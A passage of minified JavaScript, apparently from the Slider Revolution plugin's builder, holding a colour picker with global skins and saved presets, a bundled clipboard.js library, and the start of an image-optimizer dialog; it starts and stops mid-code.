1:i="gradients-core",r=n.gradients;break;case 2:i="colors-custom",r=d.colors;break;case 3:i="gradients-custom",r=d.gradients}a=gt(i,r.slice()||[]),(s=e("#"+a[0])).find(".revbuilder-cpicker-color").remove(),s.prepend(a[1])}}function qt(e,t,i){return jQuery.grep(e,function(e){return e[i]!=t[i]})}function Wt(e,t,i){var a=-1;for(var r in t)void 0!==t[r][i]&&t[r][i]===e[i]&&(a=r);return a}function Ut(e){return e.id?jQuery('<span><span class="skin_mini_color" style="background:'+be[e.element.value].v+'"></span>'+e.text+"</span>"):e.text}function Yt(e){for(var t in void 0!==be[e]&&ht(be[e].v,!1),_e)for(var i in be)be.hasOwnProperty(i)&&(i!==e&&void 0!==be[i].ref&&0!==be[i].ref.length&&(be[i].ref=qt(be[i].ref,_e[t],"r")),i===e&&(be[i].ref=void 0===be[i].ref?[]:be[i].ref,-1==Wt(_e[t],be[i].ref,"r")&&be[i].ref.push(_e[t])))}e.rsColorPickerApi={setValue:function(e,t){ht(e,t)},setGlobalColors:function(e){be=jQuery.extend(!0,{},e)},setGlobalCandidates:function(e){_e=e},getGlobalColors:function(){return be},closeColorPicker:function(){Bt()},showGlobal:function(e,t,i){be=jQuery.extend(!0,{},t),_e=i,ye=e.mode;var a,r;e.currentInput[0].dataset;for(var o in currentEditing=document.getElementById("revbuilder-cpicker-current-edit"),editTitle=document.getElementById("revbuilder-cpicker-edit-title"),widgetId=Le.attr("data-widget-id"),html=Le.attr("data-appended-html"),editing=Le.attr("data-editing"),em=document.createElement("div"),em.id="revbuilder-cpicker-globals",a='<div id="revbuilder-cpicker-gactive">'+RVS_LANG.globalcoloractive+"</div>",a+='<input id="enadisaGlobalSkin" type="checkbox">',a+='<div id="inp_SkinPicker">',a+='<div style="margin-left:25px;margin-right:20px;" class="revbuilder-cpicker-input-wrap"><select id="gc_skinPicker">',be)be.hasOwnProperty(o)&&(a+='<option value="'+o+'" '+(be[o].v.indexOf("gradient")>=0&&("single"===e.mode||"basic"===e.mode)?' disabled="true" ':"")+">"+be[o].alias+"</option>");a+="</select></div>",a+='<div id="edit_skin_colors" class="basic_action_button layerinput autosize"><i class="material-icons">color_lens</i>'+RVS_LANG.editskins+"</div></div>",em.innerHTML=a,document.getElementById("revbuilder-cpicker").appendChild(em),r=jQuery(document.getElementById("gc_skinPicker"));var s=function(){var e=[];for(var t in _e)for(var i in e[t]=-1,be)be.hasOwnProperty(i)&&void 0!==be[i].ref&&0!==be[i].ref.length&&-1===e[t]&&(e[t]=-1!==Wt(_e[t],be[i].ref,"r")?i:-1);var a=-1;for(var i in e)a=-1===a&&-1!==e[i]?e[i]:-1!==e[i]&&-1!==a[i]?-999:a;return a}();-1===s||-999===s?(Re=!1,document.getElementById("inp_SkinPicker").style.display="none",jQuery("#enadisaGlobalSkin")[0].checked=!1):(Re=s,r[0].value=s,document.getElementById("inp_SkinPicker").style.display="inline-block",jQuery("#enadisaGlobalSkin")[0].checked=!0,currentEditing.innerHTML=be[s].alias+" Skin"),void 0!==RVS&&void 0!==RVS.F&&void 0!==RVS.F.initOnOff&&(RVS.F.initOnOff(em),RVS.F.turnOnOff(em,!1)),r.ddTP("destroy").ddTP({tags:!1,pre:'<span class="skin_mini_color" style="background:#data#"></span>',preDataFunction:function(e){var t=jQuery.rsColorPickerApi.getGlobalColors();return void 0!==t&&void 0!==t[e]?t[e].v:void 0},templateResult:Ut}),jQuery("#enadisaGlobalSkin").on("change",function(){ge=!0,!0===this.checked?(document.getElementById("inp_SkinPicker").style.display="inline-block",r.trigger("change.select2"),r.ddTP("change")):(Re=!1,Yt(-1),document.getElementById("inp_SkinPicker").style.display="none",ht(Ie,!1),currentEditing.innerHTML=editing)}),r.on("change.select2",function(){ge=!0,be=jQuery.extend(!0,{},t),-1!==Re&&-999!==Re&&void 0!==t[Re]&&ht(t[Re].v,!1),Re=this.value,Yt(this.value),function(e,t){var i="single"===t||"basic"===t;if(!i)for(var a in be[e].ref)be[e].ref.hasOwnProperty(a)&&(i=!0===i||RVS.F.noGradient(be[e].ref[a].r));i?jQuery("#revbuilder-cpicker-gradient-btn").hide():jQuery("#revbuilder-cpicker-gradient-btn").show()}(this.value,ye),currentEditing.innerHTML=be[this.value].alias+" Skin"})},hideGlobal:function(){jQuery("#revbuilder-cpicker-globals").remove(),be=void 0,Re=void 0}},e.rsColorPicker=function(t){Ve=e.extend(!0,Ve||{},t),t.mode&&(tt=t.mode),t.init&&(c=t.init),t.onAjax&&(B=t.onAjax),t.onEdit&&(O=t.onEdit),t.change&&(j=t.change),t.cancel&&(P=t.cancel),t.title&&(N=t.title),t.language&&t.language,t.widgetId&&(Se=t.widgetId),t.defaultValue&&(RSColor.defaultValue=t.defaultValue),t.wrapClasses&&(Ge=t.wrapClasses),t.appendedHtml&&(Te=t.appendedHtml),t.onRefresh&&(ee=t.defRefresh),b&&(Gt(),t.language&&pt(t.language))};var Xt={refresh:function(){var t=e(this),i=[t];if(t.hasClass("revbuilder-cpicker-component")){var a=t.data("revcp")||{},r=t.val()||a.defaultValue||RSColor.defaultValue,o=a.onRefresh||ee,s=RSColor.process(r);r=s[0],s="rgba"===s[1]&&RSColor.transparentRgba(r,!0)?"":r,"transparent"!==r?(t.data("tpcp")[0].style.background=s,Be&&Be.css("background",s)):(t.data("tpcp").css("background",""),Be&&Be.css("background","")),t.attr("data-color",r).data("hex",r),i[1]=r,o&&o(i[0],r)}else i[1]=!1,i[2]="Color Picker not inited for this input field yet";RVS.DOC.trigger("revcolorpickerrefresh",i)},destroy:function(){e(this).removeData().closest(".revbuilder-cpicker-master-wrap").removeData().remove()}};function Kt(){void 0!==RVS.LIB.COLOR_PRESETS&&RVS.LIB.COLOR_PRESETS||(RVS.LIB.COLOR_PRESETS={colors:[],gradients:[]}),RVS.LIB.COLOR_PRESETS.colors||(RVS.LIB.COLOR_PRESETS.colors=[]),RVS.LIB.COLOR_PRESETS.gradients||(RVS.LIB.COLOR_PRESETS.gradients=[]),e.rsColorPicker({custom:RVS.LIB.COLOR_PRESETS,onAjax:function(t,i,a,r,o){var s=!1,l=RVS.LIB.COLOR_PRESETS[a];switch(t){case"save":l[l.length]=i,s=!0;break;case"delete":var n=l.length;e:for(var d=0;d<n;d++)for(var c in l[d])if(c===i){l.splice(d,1),s=!0;break e}}s&&"undefined"!=typeof RVS&&void 0!==RVS.F&&RVS.F.ajaxRequest("save_color_preset",{presets:jQuery.extend(!0,{},RVS.LIB.COLOR_PRESETS)},function(t){var i=t.error||!1;try{void 0!==e.esgColorPicker&&e.esgColorPicker({custom:RVS.LIB.COLOR_PRESETS})}catch(i){}RVS.DOC.trigger(r,[i])})}})}e.fn.rsColorPicker=function(t){return t&&"string"==typeof t?this.each(Xt[t]):this.each(function(){var i=e(this);if(this.className.indexOf("revbuilder-cpicker-component")>=0)i.rsColorPicker("refresh");else{var a=document.createElement("div"),r=document.createElement("span"),o=document.createElement("span");r.className="revbuilder-colorbox",o.className="revbuilder-colorbtn",a.className="revbuilder-colorpicker",a.appendChild(r),a.appendChild(o);var s,l,n=this.dataset.wrapClasses||Ge,d=this.dataset.wrapper,p=this.dataset.wrapId,u=this.dataset.title,v=this.value,g=1==i.data("visible")?"visible-cp-input":"";if(o.innerText=u||N||H||at.color,void 0!==n&&a.classList.add(n),p&&(a.id=p),t&&e.isPlainObject(t)){d||(d=t.wrapper),n||(n=t.wrapClasses),p||(p=t.wrapId),u||(u=t.title),l=t.defaultValue;var m=i.data("revcp");m&&(t=e.extend({},m,t)),i.data("revcp",t)}v||(v=l||RSColor.defaultValue,this.value=v),v=(s=RSColor.process(v))[0],"transparent"!==(s="rgba"===s[1]&&RSColor.transparentRgba(v,!0)?"":v)&&(r.style.background=s),this.dataset.color=v,this.classList.add("revbuilder-cpicker-component"),i.data("tpcp",jQuery(r)),(a=this.parentNode.insertBefore(a,this)).appendChild(this),(a=jQuery(a)).data("revcolorinput",i),d?(d=e(d).addClass("revbuilder-cpicker-master-wrap").addClass(g),a.wrap(d)):a.addClass("revbuilder-cpicker-master-wrap").addClass(g);var h=!!t&&(t.init||c),S=Ve?e.extend(!0,Ve,t||{}):t||!1;h&&h(a,i,v,S),RVS.DOC.trigger("revcolorpickerinit",[a,i,v,S])}})},e(function(){e("body").on("click.revcpicker",".revbuilder-colorpicker",function(){i||zt(),ae=document.getElementById("revbuilder-cpicker-gradient-output"),m=document.getElementById("revbuilder-cpicker-r2"),h=document.getElementById("revbuilder-cpicker-g2"),S=document.getElementById("revbuilder-cpicker-b2"),u=document.getElementById("revbuilder-cpicker-r"),v=document.getElementById("revbuilder-cpicker-g"),g=document.getElementById("revbuilder-cpicker-b"),ue=e("#revbuilder-cpciker-point-container"),Be=e("#revbuilder-cpicker-preview-color"),we=e("#revbuilder-cpicker-color-opacity"),s=e("#revbuilder-cpicker-orientation-radial"),F=e("#revbuilder-cpicker-gradients-core"),_=e("#revbuilder-cpicker-gradient-hex"),D=e("#revbuilder-cpicker-hit-bottom"),w=e("#revbuilder-cpicker-color-hex"),n=e("#revbuilder-cpicker-hit-top"),Le=e(this).data("revcolorinput");var t,o,l,c,b,y,V,L,I,C,T,N,A,E=document.getElementById("revbuilder-cpicker-current-edit"),M=document.getElementById("revbuilder-cpicker-edit-title"),G=Le.attr("data-widget-id"),Q=Le.attr("data-appended-html"),z=Le.attr("data-editing"),H=Le.attr("data-colors"),Z=Le.attr("data-mode"),q=Le.data("revcp"),W=Le.attr("data-lang");if(H&&((H=JSON.parse(H.replace(/\&/g,'"'))).colors&&(y=H.colors),H.gradients&&(c=H.gradients)),q){var U=q.colors;U&&(U.core&&(l=U.core.colors,t=U.core.gradients),U.custom&&(b=U.custom.colors,o=U.custom.gradients)),T=q.onEdit,N=q.onAjax,L=q.change,I=q.cancel,W||(W=q.lang),Z||(Z=q.mode),Q||(Q=q.appendedHtml),z||(z=q.editing),G||(G=q.widgetId)}(t||l||o||b||c||y)&&(V={},(t||l||c||y)&&(V.core={colors:y||l||rt,gradients:c||t||ot}),(o||b)&&(V.custom={colors:b||rt,gradients:o||ot}),Zt(V)),G||(G=Se),G&&(f[0].id=G),Q||(Q=Te),Q&&(x=e(Q).appendTo(Ae)),W&&pt(W),Z||(Z=tt),z?M.style.visibility="visible":(z="",M.style.visibility="hidden"),E.innerHTML=z,"single"===Z||"basic"===Z?(r=!1,R.hide(),k.show(),"basic"===Z&&f.addClass("is-basic")):(r=!0,R.show(),k.show()),function(e){return"string"==typeof e&&"transparent"!==e.trim()&&-1===e.search(/\[\{/)&&-1!==e.search("-gradient")}(A=Le.val()||RSColor.defaultValue)&&(A=RSColor.reverseGradient(A)),A.split("||").length>1&&(A=RSColor.joinToRgba(A),Le.val(A)),C=ht(A),Ie=C[0],ne=Ie,le=Le.val(),d=T||O,p=N||B,J=I||P,Qe=L||j,"gradient"!==C[1]?k.data("state",Ie):R.data("state",Ie),a.addClass("revbuilder-colorpicker-open"),xe=Le.data("tpcp"),f.data("revcpickerinput",Le).addClass("active").show(),Gt(),Ce=Le.attr("data-color");var Y=RSColor.process(A);"rgba"===Y[1]?0==(Y=RSColor.rgbValues(Y[0],4))[3]?Be.css("background",""):Be.css("background",Ce):"transparent"===Y[1]?Be.css("background",""):Be.css("background",Ce),fe=Le.data("hex"),e(".revbuilder-cpicker-color").not(".blank").each(vt),Ae.css({marginLeft:-.5*Ae.width(),marginTop:-.5*Ae.height()});var X=jQuery(".iris-square-value");!0!==X.data("badlistener")&&X.click(function(){return this.href="",!1}).data("badlistener",!0),RVS.DOC.trigger("RSCOLOR.OPEN",{openingValue:C[0],mode:Z,currentInput:Le})})});var $t=!1;"loading"===document.readyState?document.addEventListener("readystatechange",function(){"interactive"!==document.readyState&&"complete"!==document.readyState||$t||($t=!0,Kt())}):($t=!0,Kt())}("undefined"!==jQuery&&jQuery),function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).RSClipboard=e()}}(function(){return function e(t,i,a){function r(s,l){if(!i[s]){if(!t[s]){var n="function"==typeof require&&require;if(!l&&n)return n(s,!0);if(o)return o(s,!0);var d=new Error("Cannot find module '"+s+"'");throw d.code="MODULE_NOT_FOUND",d}var c=i[s]={exports:{}};t[s][0].call(c.exports,function(e){return r(t[s][1][e]||e)},c,c.exports,e,t,i,a)}return i[s].exports}for(var o="function"==typeof require&&require,s=0;s<a.length;s++)r(a[s]);return r}({1:[function(e,t,i){var a=9;if("undefined"!=typeof Element&&!Element.prototype.matches){var r=Element.prototype;r.matches=r.matchesSelector||r.mozMatchesSelector||r.msMatchesSelector||r.oMatchesSelector||r.webkitMatchesSelector}t.exports=function(e,t){for(;e&&e.nodeType!==a;){if("function"==typeof e.matches&&e.matches(t))return e;e=e.parentNode}}},{}],2:[function(e,t,i){function a(e,t,i,a){return function(i){i.delegateTarget=r(i.target,t),i.delegateTarget&&a.call(e,i)}}var r=e("./closest");t.exports=function(e,t,i,r,o){var s=a.apply(this,arguments);return e.addEventListener(i,s,o),{destroy:function(){e.removeEventListener(i,s,o)}}}},{"./closest":1}],3:[function(e,t,i){i.node=function(e){return void 0!==e&&e instanceof HTMLElement&&1===e.nodeType},i.nodeList=function(e){var t=Object.prototype.toString.call(e);return void 0!==e&&("[object NodeList]"===t||"[object HTMLCollection]"===t)&&"length"in e&&(0===e.length||i.node(e[0]))},i.string=function(e){return"string"==typeof e||e instanceof String},i.fn=function(e){return"[object Function]"===Object.prototype.toString.call(e)}},{}],4:[function(e,t,i){var a=e("./is"),r=e("delegate");t.exports=function(e,t,i){if(!e&&!t&&!i)throw new Error("Missing required arguments");if(!a.string(t))throw new TypeError("Second argument must be a String");if(!a.fn(i))throw new TypeError("Third argument must be a Function");if(a.node(e))return function(e,t,i){return e.addEventListener(t,i),{destroy:function(){e.removeEventListener(t,i)}}}(e,t,i);if(a.nodeList(e))return function(e,t,i){return Array.prototype.forEach.call(e,function(e){e.addEventListener(t,i)}),{destroy:function(){Array.prototype.forEach.call(e,function(e){e.removeEventListener(t,i)})}}}(e,t,i);if(a.string(e))return function(e,t,i){return r(document.body,e,t,i)}(e,t,i);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}},{"./is":3,delegate:2}],5:[function(e,t,i){t.exports=function(e){var t;if("SELECT"===e.nodeName)e.focus(),t=e.value;else if("INPUT"===e.nodeName||"TEXTAREA"===e.nodeName){var i=e.hasAttribute("readonly");i||e.setAttribute("readonly",""),e.select(),e.setSelectionRange(0,e.value.length),i||e.removeAttribute("readonly"),t=e.value}else{e.hasAttribute("contenteditable")&&e.focus();var a=window.getSelection(),r=document.createRange();r.selectNodeContents(e),a.removeAllRanges(),a.addRange(r),t=a.toString()}return t}},{}],6:[function(e,t,i){function a(){}a.prototype={on:function(e,t,i){var a=this.e||(this.e={});return(a[e]||(a[e]=[])).push({fn:t,ctx:i}),this},once:function(e,t,i){function a(){r.off(e,a),t.apply(i,arguments)}var r=this;return a._=t,this.on(e,a,i)},emit:function(e){for(var t=[].slice.call(arguments,1),i=((this.e||(this.e={}))[e]||[]).slice(),a=0,r=i.length;a<r;a++)i[a].fn.apply(i[a].ctx,t);return this},off:function(e,t){var i=this.e||(this.e={}),a=i[e],r=[];if(a&&t)for(var o=0,s=a.length;o<s;o++)a[o].fn!==t&&a[o].fn._!==t&&r.push(a[o]);return r.length?i[e]=r:delete i[e],this}},t.exports=a},{}],7:[function(e,t,i){!function(a,r){if(void 0!==i)r(t,e("select"));else{var o={exports:{}};r(o,a.select),a.clipboardAction=o.exports}}(this,function(e,t){"use strict";var i=function(e){return e&&e.__esModule?e:{default:e}}(t),a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r=function(){function e(e,t){for(var i=0;i<t.length;i++){var a=t[i];a.enumerable=a.enumerable||!1,a.configurable=!0,"value"in a&&(a.writable=!0),Object.defineProperty(e,a.key,a)}}return function(t,i,a){return i&&e(t.prototype,i),a&&e(t,a),t}}(),o=function(){function e(t){(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")})(this,e),this.resolveOptions(t),this.initSelection()}return r(e,[{key:"resolveOptions",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.action=e.action,this.container=e.container,this.emitter=e.emitter,this.target=e.target,this.text=e.text,this.trigger=e.trigger,this.selectedText=""}},{key:"initSelection",value:function(){this.text?this.selectFake():this.target&&this.selectTarget()}},{key:"selectFake",value:function(){var e=this,t="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return e.removeFake()},this.fakeHandler=this.container.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[t?"right":"left"]="-9999px";var a=window.pageYOffset||document.documentElement.scrollTop;this.fakeElem.style.top=a+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,this.container.appendChild(this.fakeElem),this.selectedText=(0,i.default)(this.fakeElem),this.copyText()}},{key:"removeFake",value:function(){this.fakeHandler&&(this.container.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(this.container.removeChild(this.fakeElem),this.fakeElem=null)}},{key:"selectTarget",value:function(){this.selectedText=(0,i.default)(this.target),this.copyText()}},{key:"copyText",value:function(){var e=void 0;try{e=document.execCommand(this.action)}catch(t){e=!1}this.handleResult(e)}},{key:"handleResult",value:function(e){this.emitter.emit(e?"success":"error",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})}},{key:"clearSelection",value:function(){this.trigger&&this.trigger.focus(),window.getSelection().removeAllRanges()}},{key:"destroy",value:function(){this.removeFake()}},{key:"action",set:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"copy";if(this._action=e,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function(){return this._action}},{key:"target",set:function(e){if(void 0!==e){if(!e||"object"!==(void 0===e?"undefined":a(e))||1!==e.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&e.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(e.hasAttribute("readonly")||e.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=e}},get:function(){return this._target}}]),e}();e.exports=o})},{select:5}],8:[function(e,t,i){!function(a,r){if(void 0!==i)r(t,e("./clipboard-action"),e("tiny-emitter"),e("good-listener"));else{var o={exports:{}};r(o,a.clipboardAction,a.tinyEmitter,a.goodListener),a.clipboard=o.exports}}(this,function(e,t,i,a){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function o(e,t){var i="data-clipboard-"+e;if(t.hasAttribute(i))return t.getAttribute(i)}var s=r(t),l=r(i),n=r(a),d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},c=function(){function e(e,t){for(var i=0;i<t.length;i++){var a=t[i];a.enumerable=a.enumerable||!1,a.configurable=!0,"value"in a&&(a.writable=!0),Object.defineProperty(e,a.key,a)}}return function(t,i,a){return i&&e(t.prototype,i),a&&e(t,a),t}}(),p=function(e){function t(e,i){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var a=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return a.resolveOptions(i),a.listenClick(e),a}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,l.default),c(t,[{key:"resolveOptions",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof e.action?e.action:this.defaultAction,this.target="function"==typeof e.target?e.target:this.defaultTarget,this.text="function"==typeof e.text?e.text:this.defaultText,this.container="object"===d(e.container)?e.container:document.body}},{key:"listenClick",value:function(e){var t=this;this.listener=(0,n.default)(e,"click",function(e){return t.onClick(e)})}},{key:"onClick",value:function(e){var t=e.delegateTarget||e.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new s.default({action:this.action(t),target:this.target(t),text:this.text(t),container:this.container,trigger:t,emitter:this})}},{key:"defaultAction",value:function(e){return o("action",e)}},{key:"defaultTarget",value:function(e){var t=o("target",e);if(t)return document.querySelector(t)}},{key:"defaultText",value:function(e){return o("text",e)}},{key:"destroy",value:function(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)}}],[{key:"isSupported",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["copy","cut"],t="string"==typeof e?[e]:e,i=!!document.queryCommandSupported;return t.forEach(function(e){i=i&&!!document.queryCommandSupported(e)}),i}}]),t}();e.exports=p})},{"./clipboard-action":7,"good-listener":4,"tiny-emitter":6}]},{},[8])(8)}),window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,RVS.OZ=void 0===RVS.OZ?{}:RVS.OZ,function(){function e(e){if(void 0===RVS.ENV.optimizer){var s='<div class="rb-modal-wrapper _TPRB_" data-modal="rbm_optimizer">';s+='\t<div class="rb-modal-inner">',s+='\t\t<div class="rb-modal-content">',s+='\t\t\t<div id="rbm_optimizer" class="rb_modal form_inner">',s+='\t\t\t\t<div class="rbm_header"><i class="rbm_symbol material-icons">flash_on</i><span class="rbm_title">'+RVS_LANG.optimizertitel+'</span><i class="rbm_close material-icons">close</i></div>',s+='<div class="rbm_header_content">',s+='<div class="optim_row noborder" style="height:50px">',s+='<div class="optim_cell op_c_a optim_title">'+RVS_LANG.element+"</div>",s+='<div class="optim_cell op_c_b optim_title">'+RVS_LANG.filesize+"</div>",s+='<div class="optim_cell op_c_c optim_title">'+RVS_LANG.dimensions+'<i id="more_about_optimizer" class="material-icons">help</i><div class="optim_subtitles"><div class="optim_subtitle" style="width:90px">'+RVS_LANG.toosmall+'</div><div class="optim_subtitle" style="width:139px">'+RVS_LANG.standard1x+'</div><div class="optim_subtitle" style="width:91px">'+RVS_LANG.retina2x+'</div><div class="optim_subtitle" style="width:69px">'+RVS_LANG.oversized+"</div></div></div>",s+='<div class="optim_cell op_c_d optim_title">'+RVS_LANG.suggestion+"</div>",s+='<div class="optim_cell op_c_e"></div>',s+="</div>",s+="</div>",s+='\t\t\t\t<div id="rbm_optimizer_list" class="rbm_content">',s+="\t\t\t\t</div>",s+='\t\t\t\t<div class="rbm_footer">',s+='\t\t\t\t\t<div id="optimizer_compression">',s+='\t\t\t\t\t\t<div class="opt_loaded_title">'+RVS_LANG.servercompression+'<a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/what-is-server-compression-gzip-brotli/"><i class="material-icons">help</i></a></div>',s+='\t\t\t\t\t\t<div class="opt_loaded_subtitle"><a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/what-is-server-compression-gzip-brotli/">'+(0===RVS.ENV.output_compress.length?+RVS_LANG.noservercompression:RVS.ENV.output_compress.toString())+"</a></div>",s+="\t\t\t\t\t</div>",s+='\t\t\t\t\t<div id="opt_summary">',s+='\t\t\t\t\t\t<div id="optimizer_fullsize">0 kb</div><div id="optimizer_cachedsize"></div>',s+='\t\t\t\t\t\t<div class="optimier_footerinfo">',s+='\t\t\t\t\t\t\t<div class="opt_loaded_title" id="optimized_prec">'+RVS_LANG.sizeafteroptim+"</div>",s+='\t\t\t\t\t\t\t<div class="opt_loaded_subtitle" id="optimize_to_save">'+RVS_LANG.loadedmediainfo+"</div>",s+="\t\t\t\t\t\t</div>",s+="\t\t\t\t\t</div>",s+='\t\t\t\t\t<div id="rbm_optpanel_savebtn" class="large_actionbutton basic_action_coloredbutton"><i class="material-icons mr10">flash_on</i><span class="rbm_cp_save_text">'+RVS_LANG.savechanges+"</span></div>",s+="\t\t\t\t</div>",s+="\t\t\t</div>",s+="\t\t</div>",s+="\t</div>",s+="</div>",RVS.ENV.optimizer=jQuery(s),RVS.ENV.optlist=RVS.ENV.optimizer.find("#rbm_optimizer_list"),jQuery(document.body).append(RVS.ENV.optimizer)}RVS.ENV.optlist[0].innerHTML="",RVS.F.RSDialog.create({modalid:"#rbm_optimizer",bgopacity:.5}),RVS.S.optUID=0,RVS.OZ.slideFullSize=0,RVS.OZ.list={},RVS.OZ.loadAddons=[],RVS.OZ.addOnsFullSize=0,function(){if(RVS.V.avSizes=function(){var e=[];for(var t in void 0===RVS.V.sizes&&(RVS.V.sizes=["d","n","t","m"],RVS.V.sizesold=["desktop","notebook","tablet","mobile"]),RVS.V.sizes)!0===RVS.OZ.settings.size.custom[RVS.V.sizes[t]]&&e.push(RVS.V.sizes[t]);return e}(),RVS.OZ.toLoad={},void 0!==RVS.OZ&&void 0!==RVS.OZ.settings&&void 0!==RVS.OZ.settings.size){var e,s={w:l(RVS.OZ.settings.size.width),h:l(RVS.OZ.settings.size.height)},n=function(e,t,i,a){var r={w:e,h:t};e>t?e>i&&(r.w=i):t>a&&(r.h=a);return r}(s.w.max,s.h.max,1920,1920);for(var c in void 0!==RVS.OZ.settings&&void 0!==RVS.OZ.settings.layout&&void 0!==RVS.OZ.settings.layout.bg&&RVS.OZ.settings.layout.bg.useImage&&void 0!==RVS.OZ.settings.layout.bg.image&&""!==RVS.OZ.settings.layout.bg.image&&RVS.OZ.settings.layout.bg.image.length<5&&(RVS.ENV.optlist.append(t({alias:RVS_LANG.modulbackground,url:RVS.OZ.settings.layout.bg.image,rw:n.w,rh:n.h,pathURL:"settings.layout.bg.image",pathSize:"settings.layout.bg.imageSourceType",slideid:"settings"})),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url),RVS.OZ.slideIDs){var p=RVS.OZ.slideIDs[c];void 0!==RVS.OZ[p]&&void 0!==RVS.OZ[p].slide&&void 0!==RVS.OZ[p].slide.bg&&("image"!==RVS.OZ[p].slide.bg.type&&"external"!==RVS.OZ[p].slide.bg.type&&"html5"!==RVS.OZ[p].slide.bg.type&&"youtube"!==RVS.OZ[p].slide.bg.type&&"vimeo"!==RVS.OZ[p].slide.bg.type||void 0===RVS.OZ[p].slide.bg.image||""===RVS.OZ[p].slide.bg.image||RVS.OZ[p].slide.bg.image.length<5||(RVS.OZ[p].slide.title=void 0===RVS.OZ[p].slide.title?"Slide":RVS.OZ[p].slide.title,RVS.ENV.optlist.append(t({alias:"#"+(parseInt(c)+1)+" "+RVS.OZ[p].slide.title,url:RVS.OZ[p].slide.bg.image,rw:n.w,rh:n.h,pathURL:p+".slide.bg.image",pathSize:p+".slide.bg.imageSourceType",slideid:p})),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url))}for(var c in RVS.OZ.slideIDs){var p=RVS.OZ.slideIDs[c];if(void 0!==RVS.OZ[p]&&void 0!==RVS.OZ[p].layers)for(var u in RVS.OZ[p].layers){var v,g=RVS.OZ[p].layers[u],m=0;if(void 0!==g.idle&&void 0!==g.idle.backgroundImage&&g.idle.backgroundImage.length>4&&(m={layerid:u,imgtype:"bg",bgsize:g.idle.backgroundSize,alias:g.alias,url:g.idle.backgroundImage,path:p+".layers."+u+".idle.",pathURL:p+".layers."+u+".idle.backgroundImage",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"image"===g.type&&void 0!==g.media&&void 0!==g.media.imageUrl&&g.media.imageUrl.length>4&&(m={layerid:u,imgtype:"image",alias:g.alias,url:g.media.imageUrl,pathURL:p+".layers."+u+".media.imageUrl",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"video"===g.type&&void 0!==g.media&&void 0!==g.media.posterUrl&&g.media.posterUrl.length>4&&(m={layerid:u,imgtype:"poster",alias:g.alias,url:g.media.posterUrl,pathURL:p+".layers."+u+".media.posterUrl",pathSize:p+".layers."+u+".behavior.imageSourceType",slideid:p}),"text"!==g.type&&"button"!==g.type||o(g),void 0!==m&&0!==m){var h={w:s.w.sizes,h:s.w.sizes};if(-1!==g.group.puid&&void 0!==g.group.puid){var 